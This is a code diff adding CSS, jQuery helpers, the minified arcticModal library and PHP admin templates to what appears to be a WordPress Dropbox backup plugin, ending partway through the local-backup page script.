+ }
593
+ .form-help-send-error .label-help {
594
+ float:left; width: 100px;
595
+ padding-top: 8px;
596
+ }
597
+ .border-shadow-bottom {
598
+ -webkit-box-shadow: 0 2px 7px -2px rgba(50, 50, 50, 0.5);
599
+ -moz-box-shadow: 0 2px 7px -2px rgba(50, 50, 50, 0.5);
600
+ box-shadow: 0 2px 7px -2px rgba(50, 50, 50, 0.5);
601
+ }
602
+ .info tr {
603
+ border-style: hidden;
604
+ }
605
+ .info tr td{
606
+ border-style: hidden;
607
+ padding: 5px;
608
+ text-align:left;
609
+ }
610
+ .chart-box {
611
+ background: #fff;
612
+ border:1px solid #cccccc;
613
+ border-radius:3px;
614
+ margin-top:25px;
615
+ }
616
+ .chart-box-title {
617
+ color:#575757;
618
+ border-bottom: 1px solid #cccccc;
619
+ font-size: 18px;
620
+ padding:10px;
621
+ }
622
+ .charts {
623
+ padding:5px;
624
+ padding-top: 15px;
625
+ }
626
+ .form-account {
627
+ margin-top: 30px;
628
+ margin-bottom : 40px;
629
+ border:5px solid #fff;
630
+ background: #ffffa5;
631
+ padding: 10px;
632
+ height: auto;
633
+ overflow:hidden;
634
+ }
635
+ .form-account-title {
636
+ margin-bottom: 20px;
637
+ font-size: 22px;
638
+ }
639
+ .form-account-block {
640
+ margin-left: 20px;
641
+ float:left;
642
+ width: 40%;
643
+ }
644
+ .form-account-login {
645
+ margin-top: 10px;
646
+ margin-bottom : 40px;
647
+ border:5px solid #fff;
648
+ background: #ffffa5;
649
+ padding: 3px;
650
+ height: auto;
651
+ overflow:hidden;
652
+ }
653
+
654
+ .form-account-block-login {
655
+ margin-left: 10px;
656
+ width: 90%;
657
+
658
+ }
659
+ .form-account-info {
660
+ float:left;
661
+ width: 50%;
662
+ margin-left: 20px;
663
+ }
664
+ .b_2 {
665
+ background: url("button_ok.png") no-repeat scroll 0 0 rgba(0, 0, 0, 0);
666
+ color: #464646;
667
+ font-family: Arial,Helvetica,sans-serif;
668
+ font-size: 18px;
669
+ left: 12px;
670
+ padding-left: 30px;
671
+ top: 60px;
672
+ padding-top: 4px;
673
+ padding-bottom : 5px;
674
+ }
675
+ .b-3 {
676
+ font-size: 22px;
677
+ }
678
+ .form-account-button {
679
+ margin-top: 21px;
680
+ }
681
+ .label-form {
682
+ margin-left: 6px;
683
+ font-size: 16px;
684
+ }
685
+ .last {
686
+ line-height: 18px;
687
+ margin-top: 9px;
688
+ }
689
+ .progress {
690
+ height: 20px;
691
+ background: #ebebeb;
692
+ border-left: 1px solid transparent;
693
+ border-right: 1px solid transparent;
694
+ border-radius: 10px;
695
+ }
696
+ .progress > span {
697
+ position: relative;
698
+ float: left;
699
+ margin: 0 -1px;
700
+ min-width: 30px;
701
+ height: 18px;
702
+ line-height: 16px;
703
+ text-align: right;
704
+ background: #cccccc;
705
+ border: 1px solid;
706
+ border-color: #bfbfbf #b3b3b3 #9e9e9e;
707
+ border-radius: 10px;
708
+ background-image: -webkit-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
709
+ background-image: -moz-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
710
+ background-image: -o-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
711
+ background-image: linear-gradient(to bottom, #f0f0f0, #dbdbdb 70%, #cccccc);
712
+ -webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), 0 1px 2px rgba(0, 0, 0, 0.2);
713
+ box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), 0 1px 2px rgba(0, 0, 0, 0.2);
714
+ }
715
+ .progress > span > span {
716
+ padding: 0 8px;
717
+ font-size: 11px;
718
+ font-weight: bold;
719
+ color: #404040;
720
+ color: rgba(0, 0, 0, 0.7);
721
+ text-shadow: 0 1px rgba(255, 255, 255, 0.4);
722
+ }
723
+ .progress > span:before {
724
+ content: '';
725
+ position: absolute;
726
+ top: 0;
727
+ bottom: 0;
728
+ left: 0;
729
+ right: 0;
730
+ z-index: 1;
731
+ height: 18px;
732
+ border-radius: 10px;
733
+ }
734
+
735
+
736
+
737
+ .stat-form-counter {
738
+ background: none repeat scroll 0 0 #0096d6;
739
+ color: #fff;
740
+ margin-bottom: 20px;
741
+ width: 46%;
742
+ margin-right: 0;
743
+ border: 0;
744
+ padding: 3px;
745
+ }
746
+ .stat-wpadm-registr-info {
747
+ color: #fff;
748
+ float: left;
749
+ width: 57%;
750
+ }
751
+ .stat-wpadm-registr-info label {
752
+ color:#fff;
753
+ }
754
+ .stat-wpadm-info-title {
755
+ color: #fff;
756
+ font-size: 20px;
757
+ padding :20px 0px;
758
+ margin-top:10px;
759
+ text-align: center;
760
+ }
761
+ .stat-table-registr {
762
+ margin-top: 20px;
763
+ }
764
+ .stat-table-registr th, .stat-table-registr td {
765
+ padding:5px;
766
+ }
767
+ .stat-wpadm-info {
768
+ width: 37%; margin-left: 9px; height:100%; padding-top: 0px; margin-top:20px;
769
+ color: #fff;
770
+ float: left;
771
+ border-left: 1px solid #fff;
772
+ font-size: 12px;
773
+ margin-bottom: 20px;
774
+ padding-left: 20px;
775
+ }
776
+ .block-button-show {
777
+ padding:11px 18px; cursor: pointer; text-align: center;
778
+ }
779
+ .block-button-show .block-click {
780
+ padding-top: 10px;
781
+ font-size: 16px;
782
+ border-top:1px solid #fff;
783
+ }
784
+ .stat-setting {
785
+ border-left:1px solid #fff;
786
+ margin-right: 0px;
787
+ }
788
+ #stat-title-setting{
789
+ font-size: 20px;
790
+ margin-top: 10px;
791
+ padding: 20px 0;
792
+ text-align: center;
793
+ }
794
+ #preview-image {
795
+ height: 105px; float: left; margin-right: 10px; margin-top:45px;
796
+ }
797
+ #preview-image .block-preview-image {
798
+ padding: 10px; border: 1px solid #fff; margin-left: 10px; margin-top:20px; width: 90px; text-align: center;
799
+ }
800
+ #preview-image .title-preveiw-image {
801
+ font-size: 16px; position: absolute;margin-top: -28px; margin-left: 7px;background: #0096d6; padding: 3px;
802
+ }
803
+ #preview-image .image-block {
804
+ display: table;
805
+ }
806
+ .image-block .image-block-in {
807
+ display: table-cell; vertical-align: middle;
808
+ }
809
+ .image-block-in img {
810
+ float: left;margin-top:7px;
811
+ margin-left: 2px;
812
+ }
813
+ .image-block-in .text-image-counter {
814
+ float: left;
815
+ padding-left:3px;
816
+ font-size: 8px;
817
+ font-weight: 600;
818
+ }
819
+ #setting-form .info-block {
820
+ float: left; margin: 5px 0px 0px; width:74%;
821
+ }
822
+ #setting-form .first-info-block {
823
+ margin: 20px 0px 0px;
824
+ }
825
+ .info-block-detail {
826
+ float:left;
827
+ }
828
+ .detail-title {
829
+ margin: 0 5px; width: 30%;
830
+ }
831
+ #setting-form .info-block .details-info {
832
+ width: auto;
833
+ font-size: 10px;
834
+ margin:0px;
835
+ }
836
+ #setting-form .info-block input[type="text"] {
837
+ font-size: 14px;
838
+ height: 28px;
839
+ }
840
+ .info-block .checkbox-info {
841
+ width:101px;
842
+ text-align:right;
843
+ }
844
+ .checkbox-info input[type="checkbox"] {
845
+ margin-right: 0px;
846
+ }
847
+ .stat-setting-save {
848
+ text-align: center; margin-top: 10px;
849
+ }
850
+
851
+ /*default style */
852
+ @media only screen and (max-width: 960px) {
853
+ /*
854
+ tablet computer
855
+ */
856
+ .stat-wpadm-info {
857
+ margin-left: 9px; height:100%; padding-top: 0px; margin-top:20px;
858
+ color: #fff;
859
+ float: none;
860
+ clear:both;
861
+ border-left: 0px;
862
+ border-top:1px solid #fff;
863
+ font-size: 10px;
864
+ margin-bottom: 10px;
865
+ padding-left: 0px;
866
+ width:88%;
867
+ }
868
+
869
+ .stat-table-registr th, .stat-table-registr td {
870
+ padding:2px;
871
+ font-size:10px;
872
+ }
873
+ .stat-table-registr {
874
+ margin-top: 10px;
875
+ float:none;
876
+ }
877
+ .form-table label {
878
+ color:#fff;
879
+ }
880
+ .form-table th {
881
+ line-height: 10px;
882
+ }
883
+ .stat-table-registr input {
884
+ font-size: 10px;
885
+ height: 20px;
886
+ line-height: 10px;
887
+ }
888
+ .stat-form-counter {
889
+ font-size:10px;
890
+ margin-right:5px;
891
+ }
892
+ #setting-form .info-block {
893
+ width:60%;
894
+ }
895
+ #preview-image {
896
+ height: 105px;
897
+ float: left;
898
+ margin-right: 10px;
899
+ }
900
+ .detail-title {
901
+ margin: 0 5px; width:auto;
902
+ }
903
+ #setting-form .info-block .details-info {
904
+ width: auto;
905
+ font-size: 8px;
906
+ float:none;
907
+ clear:both;
908
+ line-height: 8px;
909
+ margin-bottom:5px;
910
+
911
+ }
912
+ .info-block .checkbox-info {
913
+ width:28px;
914
+ }
915
+ #setting-form .info-block input[type="text"] {
916
+ font-size:12px;
917
+ height: 20px;
918
+ }
919
+ .minicolors-theme-default.minicolors-position-right .minicolors-input {
920
+ padding-right: 10px;
921
+ }
922
+
923
+ .minicolors-theme-default .minicolors-swatch {
924
+ height: 18px;
925
+ left: 5px;
926
+ top: 1px;
927
+ width: 18px;
928
+ }
929
+
930
+ }
931
+ @media only screen and (max-width: 1124px) {
932
+ .stat-form-counter {
933
+ font-size:10px;
934
+ margin-right:3.5%;
935
+ }
936
+ #setting-form .info-block {
937
+ width:55%;
938
+ }
939
+ #preview-image {
940
+ height: 105px;
941
+ float: left;
942
+ margin-right: 10px;
943
+ margin-top:40px;
944
+ }
945
+ .info-block input[type="text"] {
946
+ font-size:12px;
947
+ height: 20px;
948
+ }
949
+ .dbb-info-details-form {
950
+ line-height: 16px;
951
+ margin:7px;
952
+ padding:7px 11px;
953
+ font-size:14px;
954
+ }
955
+ .dbb-info-details-form .button-submit {
956
+ padding:5px;
957
+ margin-top:11px;
958
+ margin-bottom:18px;
959
+
960
+ }
961
+
962
+ }
963
+ @media only screen and (max-width: 758px) {
964
+ /*
965
+ vertical tablet computer
966
+ */
967
+ .dbb-info-details-form {
968
+ font-size:10px;
969
+ line-height: 10px;
970
+ margin:5px;
971
+ padding:5px 9px;
972
+ }
973
+ .dbb-info-details-form .button-submit {
974
+ padding:3px;
975
+ margin-top:7px;
976
+ margin-bottom:15px;
977
+ }
978
+ }
979
+ @media only screen and (max-width: 524px) {
980
+ /*phone*/
981
+ .dbb-info-details-form {
982
+ font-size:8px;
983
+ line-height: 8px;
984
+ margin:6px;
985
+ padding:5px 7px;
986
+ }
987
+ .dbb-info-details-form .button-submit {
988
+ padding:1px;
989
+ margin-top:5px;
990
+ margin-bottom:8px;
991
+ }
992
+ }
template/css/folder.png ADDED
Binary file
template/css/icon-folder-open.gif ADDED
Binary file
template/dropbox_pro_logo_box1.png ADDED
Binary file
template/js/admin-wpadm.js ADDED
@@ -0,0 +1,68 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ function showTab (elem, type)
2
+ {
3
+ jQuery('.cfTab').removeClass('selected');
4
+ jQuery('.cfContentContainer').hide();
5
+ jQuery(elem).addClass('selected');
6
+ jQuery('#cf_' + type).fadeIn();
7
+ }
8
+ var shows_block = "";
9
+ var shows_id = "";
10
+ var shows_t = "";
11
+ // show block
12
+ function shows(id, t)
13
+ {
14
+ if(document.getElementById(id).style.display == "none") {
15
+ document.getElementById(id).style.display = "table-row";
16
+ jQuery(t).parent("tr").addClass('border-shadow-bottom');
17
+ if (shows_id == "") {
18
+ shows_id = id;
19
+ shows_t = t;
20
+ shows_block = id + '_';
21
+ } else {
22
+ if(shows_id != id) {
23
+ document.getElementById(shows_id).style.display = "none";
24
+ jQuery(shows_t).parent("tr").removeClass('border-shadow-bottom');
25
+ }
26
+ shows_id = id;
27
+ shows_t = t;
28
+ shows_block = id + '_';
29
+ }
30
+ } else if(document.getElementById(id).style.display == "table-row") {
31
+ document.getElementById(id).style.display = "none";
32
+ jQuery(t).parent("tr").removeClass('border-shadow-bottom');
33
+ }
34
+ }
35
+ var bl = false;
36
+ // show form auth
37
+ function show_form_auth(file_val)
38
+ {
39
+ if (file_val == 'registr') {
40
+ showRegistInfo(false);
41
+ if (bl === false) {
42
+ blick('container-user');
43
+ bl = true;
44
+ }
45
+ } else {
46
+ html = '<input type="hidden" value="' + file_val +'" name="internal_identifier">';
47
+ jQuery('#form_auth_backup').html(html);
48
+ document.form_auth_backup.submit();
49
+ }
50
+ }
51
+ var blick_form = true;
52
+ // blick for object in document
53
+ function blick(id, border_)
54
+ {
55
+ if (border_ == 'undefined') {
56
+ border_ = 10;
57
+ }
58
+ jQuery('#' + id).css({
59
+ outline: "0px solid #cd433d",
60
+ border: "0px"
61
+ }).animate({
62
+ outlineWidth: border_ + 'px',
63
+ outlineColor: '#cd433d'
64
+ }, 400).animate({outlineWidth: '0px',outlineColor: '#cd433d' } , 400);
65
+ if (blick_form) {
66
+ setTimeout('blick("' + id + '", ' + border_ + ')', 800);
67
+ }
68
+ }
template/js/jquery.arcticmodal-0.3.css ADDED
@@ -0,0 +1,8 @@
 
 
 
 
 
 
 
 
1
+ .arcticmodal-overlay,
2
+ .arcticmodal-container { position: fixed; left: 0; top: 0; right: 0; bottom: 0; z-index: 99999; }
3
+ .arcticmodal-container { overflow: auto; margin: 0; padding: 0; border: 0; border-collapse: collapse; }
4
+ *:first-child+html .arcticmodal-container { height: 100% }
5
+ .arcticmodal-container_i { height: 100%; margin: 0 auto;background: none;border:none; }
6
+ .arcticmodal-container_i2 { padding: 24px; margin: 0; border: 0; vertical-align: middle; }
7
+ .arcticmodal-error { padding: 20px; border-radius: 10px; background: #000; color: #fff; }
8
+ .arcticmodal-loading { width: 80px; height: 80px; border-radius: 10px; background: #000 url(loading.gif) no-repeat 50% 50%; }
template/js/jquery.arcticmodal-0.3.min.js ADDED
@@ -0,0 +1,22 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+
3
+ arcticModal — jQuery plugin
4
+ Version: 0.3
5
+ Author: Sergey Predvoditelev (sergey.predvoditelev@gmail.com)
6
+ Company: Arctic Laboratory (http://arcticlab.ru/)
7
+
8
+ Docs & Examples: http://arcticlab.ru/arcticmodal/
9
+
10
+ */
11
+ (function(d){var g={type:"html",content:"",url:"",ajax:{},ajax_request:null,closeOnEsc:!0,closeOnOverlayClick:!0,clone:!1,overlay:{block:void 0,tpl:'<div class="arcticmodal-overlay"></div>',css:{backgroundColor:"#000",opacity:0.6}},container:{block:void 0,tpl:'<div class="arcticmodal-container"><table class="arcticmodal-container_i"><tr><td class="arcticmodal-container_i2"></td></tr></table></div>'},wrap:void 0,body:void 0,errors:{tpl:'<div class="arcticmodal-error arcticmodal-close"></div>',autoclose_delay:2E3,
12
+ ajax_unsuccessful_load:"Error"},openEffect:{type:"fade",speed:400},closeEffect:{type:"fade",speed:400},beforeOpen:d.noop,afterOpen:d.noop,beforeClose:d.noop,afterClose:d.noop,afterLoading:d.noop,afterLoadingOnShow:d.noop,errorLoading:d.noop},j=0,e=d([]),m={isEventOut:function(a,b){var c=!0;d(a).each(function(){d(b.target).get(0)==d(this).get(0)&&(c=!1);0==d(b.target).closest("HTML",d(this).get(0)).length&&(c=!1)});return c}},f={getParentEl:function(a){var b=d(a);return b.data("arcticmodal")?b:(b=
13
+ d(a).closest(".arcticmodal-container").data("arcticmodalParentEl"))?b:!1},transition:function(a,b,c,e){e=void 0==e?d.noop:e;switch(c.type){case "fade":"show"==b?a.fadeIn(c.speed,e):a.fadeOut(c.speed,e);break;case "none":"show"==b?a.show():a.hide(),e()}},prepare_body:function(a,b){d(".arcticmodal-close",a.body).unbind("click.arcticmodal").bind("click.arcticmodal",function(){b.arcticmodal("close");return!1})},init_el:function(a,b){var c=a.data("arcticmodal");if(!c){c=b;j++;c.modalID=j;c.overlay.block=
14
+ d(c.overlay.tpl);c.overlay.block.css(c.overlay.css);c.container.block=d(c.container.tpl);c.body=d(".arcticmodal-container_i2",c.container.block);b.clone?c.body.html(a.clone(!0)):(a.before('<div id="arcticmodalReserve'+c.modalID+'" style="display: none" />'),c.body.html(a));f.prepare_body(c,a);c.closeOnOverlayClick&&c.overlay.block.add(c.container.block).click(function(b){m.isEventOut(d(">*",c.body),b)&&a.arcticmodal("close")});c.container.block.data("arcticmodalParentEl",a);a.data("arcticmodal",c);
15
+ e=d.merge(e,a);d.proxy(h.show,a)();if("html"==c.type)return a;if(void 0!=c.ajax.beforeSend){var k=c.ajax.beforeSend;delete c.ajax.beforeSend}if(void 0!=c.ajax.success){var g=c.ajax.success;delete c.ajax.success}if(void 0!=c.ajax.error){var l=c.ajax.error;delete c.ajax.error}var n=d.extend(!0,{url:c.url,beforeSend:function(){void 0==k?c.body.html('<div class="arcticmodal-loading" />'):k(c,a)},success:function(b){a.trigger("afterLoading");c.afterLoading(c,a,b);void 0==g?c.body.html(b):g(c,a,b);f.prepare_body(c,
16
+ a);a.trigger("afterLoadingOnShow");c.afterLoadingOnShow(c,a,b)},error:function(){a.trigger("errorLoading");c.errorLoading(c,a);void 0==l?(c.body.html(c.errors.tpl),d(".arcticmodal-error",c.body).html(c.errors.ajax_unsuccessful_load),d(".arcticmodal-close",c.body).click(function(){a.arcticmodal("close");return!1}),c.errors.autoclose_delay&&setTimeout(function(){a.arcticmodal("close")},c.errors.autoclose_delay)):l(c,a)}},c.ajax);c.ajax_request=d.ajax(n);a.data("arcticmodal",c)}},init:function(a){a=
17
+ d.extend(!0,{},g,a);if(d.isFunction(this))if(void 0==a)d.error("jquery.arcticmodal: Uncorrect parameters");else if(""==a.type)d.error('jquery.arcticmodal: Don\'t set parameter "type"');else switch(a.type){case "html":if(""==a.content){d.error('jquery.arcticmodal: Don\'t set parameter "content"');break}var b=a.content;a.content="";return f.init_el(d(b),a);case "ajax":if(""==a.url){d.error('jquery.arcticmodal: Don\'t set parameter "url"');break}return f.init_el(d("<div />"),a)}else return this.each(function(){f.init_el(d(this),
18
+ d.extend(!0,{},a))})}},h={show:function(){var a=f.getParentEl(this);if(!1===a)d.error("jquery.arcticmodal: Uncorrect call");else{var b=a.data("arcticmodal");b.overlay.block.hide();b.container.block.hide();d("BODY").append(b.overlay.block);d("BODY").append(b.container.block);b.beforeOpen(b,a);a.trigger("beforeOpen");if("hidden"!=b.wrap.css("overflow")){b.wrap.data("arcticmodalOverflow",b.wrap.css("overflow"));var c=b.wrap.outerWidth(!0);b.wrap.css("overflow","hidden");var g=b.wrap.outerWidth(!0);g!=
19
+ c&&b.wrap.css("marginRight",g-c+"px")}e.not(a).each(function(){d(this).data("arcticmodal").overlay.block.hide()});f.transition(b.overlay.block,"show",1<e.length?{type:"none"}:b.openEffect);f.transition(b.container.block,"show",1<e.length?{type:"none"}:b.openEffect,function(){b.afterOpen(b,a);a.trigger("afterOpen")});return a}},close:function(){if(d.isFunction(this))e.each(function(){d(this).arcticmodal("close")});else return this.each(function(){var a=f.getParentEl(this);if(!1===a)d.error("jquery.arcticmodal: Uncorrect call");
20
+ else{var b=a.data("arcticmodal");!1!==b.beforeClose(b,a)&&(a.trigger("beforeClose"),e.not(a).last().each(function(){d(this).data("arcticmodal").overlay.block.show()}),f.transition(b.overlay.block,"hide",1<e.length?{type:"none"}:b.closeEffect),f.transition(b.container.block,"hide",1<e.length?{type:"none"}:b.closeEffect,function(){b.afterClose(b,a);a.trigger("afterClose");b.clone||d("#arcticmodalReserve"+b.modalID).replaceWith(b.body.find(">*"));b.overlay.block.remove();b.container.block.remove();a.data("arcticmodal",
21
+ null);d(".arcticmodal-container").length||(b.wrap.data("arcticmodalOverflow")&&b.wrap.css("overflow",b.wrap.data("arcticmodalOverflow")),b.wrap.css("marginRight",0))}),"ajax"==b.type&&b.ajax_request.abort(),e=e.not(a))}})},setDefault:function(a){d.extend(!0,g,a)}};d(function(){g.wrap=d(document.all&&!document.querySelector?"html":"body")});d(document).bind("keyup.arcticmodal",function(a){var b=e.last();b.length&&b.data("arcticmodal").closeOnEsc&&27===a.keyCode&&b.arcticmodal("close")});d.arcticmodal=
22
+ d.fn.arcticmodal=function(a){if(h[a])return h[a].apply(this,Array.prototype.slice.call(arguments,1));if("object"===typeof a||!a)return f.init.apply(this,arguments);d.error("jquery.arcticmodal: Method "+a+" does not exist")}})(jQuery);
template/not-ok.png ADDED
Binary file
template/notice.php ADDED
@@ -0,0 +1,8 @@
 
 
 
 
 
 
 
 
1
+ <div class="clear"></div>
2
+ <div class="update-nag" style="width: 95%;">
3
+ <?php langWPADM::get('Professional version of'); ?>
4
+ "<a href="<?php echo admin_url("admin.php?page=wpadm_wp_full_backup_dropbox"); ?>" title="<?php langWPADM::get('Dropbox backup and restore"')?>" alt="<?php langWPADM::get('Dropbox backup and restore')?>"><?php langWPADM::get('Dropbox backup and restore')?></a>"
5
+ <?php langWPADM::get(' plugin is now available!'); ?>
6
+ <a href="<?php echo admin_url("admin.php?page=wpadm_wp_full_backup_dropbox"); ?>" title="<?php langWPADM::get('Read more...')?>" alt="<?php langWPADM::get('Read more...')?>"><?php langWPADM::get('Read more...')?></a>
7
+ <a href="<?php echo admin_url( 'admin-post.php?action=hide_notice' )?>" style="float: right; font-size: 12px;">[<?php langWPADM::get('hide this message')?>]</a>
8
+ </div>
template/ok-icon.png ADDED
Binary file
template/ok.png ADDED
Binary file
template/wpadm_show_backup.php ADDED
@@ -0,0 +1,1269 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <div class="wrap">
2
+ <script src="<?php echo plugin_dir_url(__FILE__) . 'js/jquery.arcticmodal-0.3.min.js'?>" type="text/javascript"></script>
3
+ <link rel='stylesheet' href='<?php echo plugin_dir_url(__FILE__) . 'js/jquery.arcticmodal-0.3.css'?>' type='text/css' media='all' />
4
+ <style>
5
+ .pointer {
6
+ cursor: pointer;
7
+ }
8
+ </style>
9
+ <script>
10
+ var home_url = '<?php echo SITE_HOME; ?>';
11
+ function blickForm(id, t)
12
+ {
13
+ if(t.checked == true) {
14
+ t.checked = false;
15
+ }
16
+ l = jQuery('#' + id).length;
17
+ showRegistInfo(false);
18
+ if (l > 0) {
19
+ blick(id);
20
+ }
21
+ }
22
+ function showRegistInfo(show)
23
+ {
24
+ display = jQuery('#cf_activate').css('display');
25
+ if (display == 'none') {
26
+ jQuery('#cf_activate').show('slow');
27
+ jQuery('#registr-show').html("<?php langWPADM::get('Hide'); ?>");
28
+ jQuery('#title-regisr').css("padding" , "0px 0px");
29
+ jQuery('#registr-choice-icon').removeClass("dashicons-arrow-down").addClass('dashicons-arrow-up');
30
+ } else {
31
+ if (show) {
32
+ jQuery('#cf_activate').hide('slow');
33
+ jQuery('#registr-show').html("<?php langWPADM::get('Show'); ?>");
34
+ jQuery('#title-regisr').css("padding" , "20px 0px");
35
+ jQuery('#registr-choice-icon').removeClass("dashicons-arrow-up").addClass('dashicons-arrow-down');
36
+ }
37
+ }
38
+ }
39
+ function showSetting(show)
40
+ {
41
+ display = jQuery('#setting_active').css('display');
42
+ if (display == 'none') {
43
+ jQuery('#setting_active').show(1000);
44
+ jQuery('#setting-show').html("<?php langWPADM::get('Hide'); ?>");
45
+ jQuery('#title-setting').css("padding" , "0px 0px");
46
+ jQuery('#setting-choice-icon').removeClass("dashicons-arrow-down").addClass('dashicons-arrow-up');
47
+ } else {
48
+ if (show) {
49
+ jQuery('#setting_active').hide('slow');
50
+ jQuery('#setting-show').html("<?php langWPADM::get('Show'); ?>");
51
+ jQuery('#title-setting').css("padding" , "20px 0px");
52
+ jQuery('#setting-choice-icon').removeClass("dashicons-arrow-up").addClass('dashicons-arrow-down');
53
+ }
54
+ }
55
+ }
56
+ process_flag = 0;
57
+ function start_local_backup()
58
+ {
59
+ d = new Date();
60
+ var data_backup = {
61
+ 'action': 'wpadm_local_backup',
62
+ 'time': Math.ceil( (d.getTime() + (-d.getTimezoneOffset() * 60000 ) ) / 1000 )
63
+ };
64
+ jQuery("#logs-form").show("slow");
65
+ jQuery("#action-buttons").css('margin-top', '8px');
66
+ jQuery("#support-button").css('margin-top', '8px');
67
+ jQuery("#log-backup").html('');
68
+ jQuery(".title-logs").css('display', 'block');
69
+ jQuery(".title-status").css('display', 'none');
70
+ jQuery.ajax({
71
+ type: "POST",
72
+ url: ajaxurl,
73
+ data: data_backup,
74
+ beforeSend: function(){
75
+ process_flag = 1
76
+ processBar();
77
+ showTime();
78
+
79
+ },
80
+ success: function(data){
81
+ process_flag = 0;
82
+ if (data.result == 'success') {
83
+ jQuery('.title-logs').css('display', 'none');
84
+ jQuery('.title-status').css({'display':'block', 'color':'green'});
85
+ jQuery('.title-status').html('<?php langWPADM::get('Local Backup was created successfully'); ?>');
86
+ } else {
87
+ jQuery('.title-logs').css('display', 'none');
88
+ jQuery('.title-status').css({'display':'block', 'color':'red'});
